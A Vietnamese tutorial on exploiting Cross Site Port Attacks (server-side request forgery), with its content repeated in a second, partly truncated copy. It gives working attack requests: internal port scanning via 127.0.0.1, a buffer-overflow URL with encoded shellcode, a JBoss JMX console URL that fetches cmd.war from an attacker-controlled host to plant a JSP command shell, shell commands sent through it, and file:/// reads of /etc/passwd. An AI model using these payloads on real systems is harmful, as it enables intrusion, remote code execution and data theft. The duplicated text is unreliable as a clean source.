Giới thiệu khai thác lỗ hổng Cross Site Port Attacks (Phần 1)
Nhiều ứng dụng web cung cấp chức năng lấy dữ liệu từ các servers khác cho nhiều mục đích khác nhau. Bằng cách sử dụng những URL do người dùng cung cấp, các ứng dụng web có thể lấy những hình ảnh, tải về XML từ các servers hay các file văn bản, v.v… Chức năng này có thể bị hacker lợi dụng bằng cách gửi các truy vấn thủ công sử dụng ứng dụng web như một proxy để tấn công các dịch vụ đang chạy trên các servers khác hoặc chính server đó. Các cuộc tấn công phát sinh thông qua việc lợi dụng chức năng này của các ứng dụng web được gọi là Cross Site Port Attacks (XSPA).
I. Nguyên nhân
XSPA là một lỗ hổng bảo mật phổ biến, nó cho phép hacker lợi dụng chức năng có trên hầu hết các ứng dụng web để quét cổng mạng nội bộ, quét cổng của remote server, xác định frameworks của ứng dụng web, khai thác lỗ hổng bảo mật chương trình, cài backdoor, khai thác lỗ hổng bảo mật ứng dụng web đang lắng nghe trên mạng nội bộ,…Lỗ hổng XSPA xuất hiện khi một ứng dụng web sử dụng URL cung cấp bởi người sử dụng để request tới server khác nhưng không kiểm tra, phân tích dữ liệu trả về từ servers đó trước khi hiển thị cho client. Điều này được hacker lợi dụng để gửi các truy vấn tới web server nhằm mục đích tấn công các server khác, các thiết bị nội bộ hay chính web server đó.
Hình 1
Đối với các lỗ hổng bảo mật như SQLi, RFI, RCE,…hacker lợi dụng những lỗ hổng này để tấn công chính Web Server có các lỗ hổng đó.
Còn đối với XSPA, hacker có thể lợi dụng ứng dụng web có lỗ hổng đó như một proxy để tấn công Web Server khác hay chính Web Server đó.
II. Một số hướng khai thác
1. Quét cổng sử dụng XSPA
Một ứng dụng web cung cấp chức năng cho phép người sử dụng nhập vào một liên kết tới một hình ảnh từ máy chủ thứ ba. Hầu hết các trang mạng xã hội cho phép người dùng cập nhật hình ảnh hồ sơ của họ bằng cách tải lên một hình ảnh hoặc cung cấp một URL đến một hình ảnh trên internet. Những URL có dạng dưới dây hợp lệ:
- http://example.com/dir/public/image.jpg
- http://example.com/dir/images/
Nếu hình ảnh không được tìm thấy tại URL người dùng cung cấp, thông thường, các ứng dụng web sẽ thông báo cho người sử dụng. Hầu hết các ứng dụng web tạo ra các thông báo lỗi và thông báo cho người sử dụng về trạng thái của các yêu cầu này. Một hacker có thể chỉ định một URL chứa số cổng. Ví dụ:
- http://example.com:8080/dir/images/
- http://example.com:22/dir/public/image.jpg
- http://example.com:3306/dir/images/
Dựa vào thông báo lỗi trả về hacker có thể biết được cổng nào đóng hay mở của các dịch vụ khác HTTP
Đoạn script sau đây có thể bị lợi dụng để quét cổng các thiết bị:
Dưới đây là nội dung của tập tin robots.txt lấy từ http://www.twitter.com bằng cách sử dụng đoạn code ở trên. Request: http://www.twitter.com/robots.txt
Hình 2
Cùng trang đó, nếu gửi request để lấy dữ liệu từ một cổng mở chạy dịch vụ khác http. Request: http://scanme.nmap.org:22/test.txt
Hình 3
Đối với một cổng đóng, một lỗi ứng dụng được hiển thị:
Hình 4
Những phản hồi khác nhau nhận được cho phép hacker quét cổng các thiết bị bằng cách sử dụng lỗ hổng ứng dụng web server như một proxy. Thay vì quét cổng của server khác thông qua lỗ hổng của ứng dụng web, hacker có thể sửa đổi lại request URL để quét cổng mạng nội bộ hoặc chính server đó.
Request: http://127.0.0.1:3306/test.txt
Hình 5
2. Khai thác lỗ hổng của chương trình chạy trên web server
XSPA cho phép gửi dữ liệu tới cổng đang được lắng nghe bởi một dịch vụ bất kì trên server, vì vậy hacker có thể khai thác điều này để thực thi code (hay thực hiện ý đồ khác) trên server đó.
Trong hình bên dưới, một chương trình đang lắng nghe trên cổng 8987 nhận request: http://127.0.0.1:8987/test.txt từ web server và trả về “Hello GET /test.txt HTTP/1.1, The Server Time is: [server time]”. Nếu chương trình đó bị lỗi tràn bộ đệm, hacker có thể sử dụng một chuỗi dài gây crash chương trình.
Request: http://127.0.0.1:8987/test.txt
Hình 6Request: http://127.0.0.1:8987/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hình 7
Khai thác lỗ hổng này có thể thực thi shellcode trên server. Ví dụ: Request để gọi Caculator.exe trên server.
Request: http://127.0.0.1:8987/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@'ßwTYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlhhmYUPWpWp3Pk9he01xRSTnkpRfPlKPRtLLKPR24NkbR7XDOMgszuvVQ9oeaKpllgL3QQl5RFLWPiQJodM31JgKRHpaBPWNk3bvpLKsrWLwqZpLK1P0xMU9PSDCz7qZpf0NkQX6xnk2xUps1n3xcgL3yNkednkVayF4qKO5aKpnLIQJo4M31O76XIpbUzTdC3MHxGKamvDbU8bchLKShEtgqhSQvLKtLRkNkShuLgqZslK5TlKVaZpoy3tGTWTqKqKsQ0YSjRqyoKP2xCoSjnkwb8kLFqM0jFaNmLElyc05PC0pPsX6QlK0oOwkOyEOKhph5920VBHY6MEoMOmKON5Uls6SLUZMPykip2UfeoK3wfs422OBJs0Sc9oZuCSPaPl3SC0AA
Hình 8
Khai thác thành công, Caculator.exe thực thi trên server.
3. Tấn công lỗ hổng bảo mật của ứng dụng web nội bộ
Dựa và XSPA, hacker có thể tấn công vào lỗ hổng của các ứng dụng web nội bộ.
Một ví dụ là một JBoss Server qua một loạt các thử nghiệm thì cho thấy có khá nhiều điểm yếu. Một điểm đáng chú ý là nó không có quá trình xác thực và JMX console chạy mặc định ở cổng 8080.
Hình 9
Sử dụng JMX console, hacker có thể khai thác file war có chứa mã JSP cho phép thực thi lệnh trên server. Nếu hacker có thể truy cập trực tiếp đến JMX console thì việc khai thác các file war có chứa mã JSP dưới đây là một điều tương đối đơn giản.
[/CODE]
Sử dụng lớp MainDeployer của jboss.system:service trong JMX Bean View, hacker có thể khai thác file war có chứa shell JSP. MainDeployer có thể tìm được ở địa chỉ sau:
http://example_server:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Aservice%3DMainDeployer
Ví dụ, một file war có tên cmd.war chứa shell.jsp có thể được cài vào server và truy cập qua địa chỉ http://example_server:8080/cmd/shell.jsp. Các lệnh có thể được thực thi với shell.jsp?x=[command]. (example_server cần được thay thế bằng IP/hostname của server đang chạy JBoss trong mạng nội bộ.
Có một vấn đề nhỏ trong quá trình thực hiện tấn công thông qua XSPA là tập tin khai thác hoạt động thông qua phương thức POST. Do đó chúng ta không thể sử dụng một URL để thực thi file war trên server. Tuy nhiên, điều này có thể dễ dàng được giải quyết bằng cách chuyển đổi phương thức request từ POST sang GET tới JMX console. Một cách đơn giản, ta có thể sử dụng chức năng “Convert POST to GET” của Web Developer – addon của Firefox. Chúng ta có thể xây dựng một URL để gửi file cmd.war tới server. URL như sau:
http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://our_public_internet_server/utils/cmd.war
Trong đó our_public_internet_server là host lưu file cmd.war.
Hình 10
Sau đó, chúng ta có thể thực thi lệnh trên máy chủ. Một vài request như sau:
http://127.0.0.1:8080/cmd/shell.jsp?x=dir
Hình 11
http://127.0.0.1:8080/cmd/shell.jsp?x=tasklist
Hình 12Như vậy, chúng ta đã thành công trong việc tấn công lỗ hổng của ứng dụng mạng nội bộ từ Internet sử dụng XSPA.
4. Đọc file trên web server sử dụng giao thức file:///
Sử dụng giao thức file:/// ta có thể đọc được các tập tin trên máy chủ.
Request: file:///C:/Windows/win.ini
Hình 13
Màn hình sau cho thấy việc đọc tập tin /etc/passwd trên một máy chủ của Adobe qua ứng dụng web Omniture Adobe.
Request: file:///etc/passwd
Hình 14
I. Nguyên nhân
XSPA là một lỗ hổng bảo mật phổ biến, nó cho phép hacker lợi dụng chức năng có trên hầu hết các ứng dụng web để quét cổng mạng nội bộ, quét cổng của remote server, xác định frameworks của ứng dụng web, khai thác lỗ hổng bảo mật chương trình, cài backdoor, khai thác lỗ hổng bảo mật ứng dụng web đang lắng nghe trên mạng nội bộ,…Lỗ hổng XSPA xuất hiện khi một ứng dụng web sử dụng URL cung cấp bởi người sử dụng để request tới server khác nhưng không kiểm tra, phân tích dữ liệu trả về từ servers đó trước khi hiển thị cho client. Điều này được hacker lợi dụng để gửi các truy vấn tới web server nhằm mục đích tấn công các server khác, các thiết bị nội bộ hay chính web server đó.
Hình 1
Còn đối với XSPA, hacker có thể lợi dụng ứng dụng web có lỗ hổng đó như một proxy để tấn công Web Server khác hay chính Web Server đó.
1. Quét cổng sử dụng XSPA
Một ứng dụng web cung cấp chức năng cho phép người sử dụng nhập vào một liên kết tới một hình ảnh từ máy chủ thứ ba. Hầu hết các trang mạng xã hội cho phép người dùng cập nhật hình ảnh hồ sơ của họ bằng cách tải lên một hình ảnh hoặc cung cấp một URL đến một hình ảnh trên internet. Những URL có dạng dưới dây hợp lệ:
- http://example.com/dir/public/image.jpg
- http://example.com/dir/images/
Nếu hình ảnh không được tìm thấy tại URL người dùng cung cấp, thông thường, các ứng dụng web sẽ thông báo cho người sử dụng. Hầu hết các ứng dụng web tạo ra các thông báo lỗi và thông báo cho người sử dụng về trạng thái của các yêu cầu này. Một hacker có thể chỉ định một URL chứa số cổng. Ví dụ:
- http://example.com:8080/dir/images/
- http://example.com:22/dir/public/image.jpg
- http://example.com:3306/dir/images/
Dựa vào thông báo lỗi trả về hacker có thể biết được cổng nào đóng hay mở của các dịch vụ khác HTTP
Đoạn script sau đây có thể bị lợi dụng để quét cổng các thiết bị:
PHP:
Hình 2
Hình 3
Hình 4
Request: http://127.0.0.1:3306/test.txt
Hình 5
XSPA cho phép gửi dữ liệu tới cổng đang được lắng nghe bởi một dịch vụ bất kì trên server, vì vậy hacker có thể khai thác điều này để thực thi code (hay thực hiện ý đồ khác) trên server đó.
Trong hình bên dưới, một chương trình đang lắng nghe trên cổng 8987 nhận request: http://127.0.0.1:8987/test.txt từ web server và trả về “Hello GET /test.txt HTTP/1.1, The Server Time is: [server time]”. Nếu chương trình đó bị lỗi tràn bộ đệm, hacker có thể sử dụng một chuỗi dài gây crash chương trình.
Request: http://127.0.0.1:8987/test.txt
Hình 6
Hình 7
Request: http://127.0.0.1:8987/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@'ßwTYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlhhmYUPWpWp3Pk9he01xRSTnkpRfPlKPRtLLKPR24NkbR7XDOMgszuvVQ9oeaKpllgL3QQl5RFLWPiQJodM31JgKRHpaBPWNk3bvpLKsrWLwqZpLK1P0xMU9PSDCz7qZpf0NkQX6xnk2xUps1n3xcgL3yNkednkVayF4qKO5aKpnLIQJo4M31O76XIpbUzTdC3MHxGKamvDbU8bchLKShEtgqhSQvLKtLRkNkShuLgqZslK5TlKVaZpoy3tGTWTqKqKsQ0YSjRqyoKP2xCoSjnkwb8kLFqM0jFaNmLElyc05PC0pPsX6QlK0oOwkOyEOKhph5920VBHY6MEoMOmKON5Uls6SLUZMPykip2UfeoK3wfs422OBJs0Sc9oZuCSPaPl3SC0AA
Hình 8
3. Tấn công lỗ hổng bảo mật của ứng dụng web nội bộ
Dựa và XSPA, hacker có thể tấn công vào lỗ hổng của các ứng dụng web nội bộ.
Một ví dụ là một JBoss Server qua một loạt các thử nghiệm thì cho thấy có khá nhiều điểm yếu. Một điểm đáng chú ý là nó không có quá trình xác thực và JMX console chạy mặc định ở cổng 8080.
Hình 9
Mã:
[CODE]
Sử dụng lớp MainDeployer của jboss.system:service trong JMX Bean View, hacker có thể khai thác file war có chứa shell JSP. MainDeployer có thể tìm được ở địa chỉ sau:
http://example_server:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Aservice%3DMainDeployer
Ví dụ, một file war có tên cmd.war chứa shell.jsp có thể được cài vào server và truy cập qua địa chỉ http://example_server:8080/cmd/shell.jsp. Các lệnh có thể được thực thi với shell.jsp?x=[command]. (example_server cần được thay thế bằng IP/hostname của server đang chạy JBoss trong mạng nội bộ.
Có một vấn đề nhỏ trong quá trình thực hiện tấn công thông qua XSPA là tập tin khai thác hoạt động thông qua phương thức POST. Do đó chúng ta không thể sử dụng một URL để thực thi file war trên server. Tuy nhiên, điều này có thể dễ dàng được giải quyết bằng cách chuyển đổi phương thức request từ POST sang GET tới JMX console. Một cách đơn giản, ta có thể sử dụng chức năng “Convert POST to GET” của Web Developer – addon của Firefox. Chúng ta có thể xây dựng một URL để gửi file cmd.war tới server. URL như sau:
http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://our_public_internet_server/utils/cmd.war
Trong đó our_public_internet_server là host lưu file cmd.war.
Hình 10
http://127.0.0.1:8080/cmd/shell.jsp?x=dir
Hình 11
http://127.0.0.1:8080/cmd/shell.jsp?x=tasklist
Hình 12
4. Đọc file trên web server sử dụng giao thức file:///
Sử dụng giao thức file:/// ta có thể đọc được các tập tin trên máy chủ.
Request: file:///C:/Windows/win.ini
Hình 13
Request: file:///etc/passwd
Hình 14